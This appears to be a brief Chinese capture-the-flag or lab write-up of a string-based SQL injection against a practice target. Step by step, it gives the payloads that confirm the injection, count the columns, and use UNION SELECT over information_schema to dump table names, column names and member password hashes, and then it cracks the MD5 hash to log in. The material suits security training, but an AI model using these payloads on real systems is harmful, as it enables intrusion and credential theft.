判断注入点 and ‘1’='1(正常) and ‘1’='2(报错)
判断列数 ?id=’ order by N#经测试字段为4
查看回显 ?id=’ union select ‘1’,‘2’,‘3’,'4
爆出数据库 ?id=’ union select ‘1’,database(),user(),'4
爆出表 ?id=’ union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_discuz_stormgroup’ and ‘1’='1
查询列?id=’ union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘stormgroup_member’ and ‘1’='1
查询字段值?id=’ union select 1,group_concat(name,password),3,4 from stormgroup_member where ‘1’='1
md5解密,登陆得到key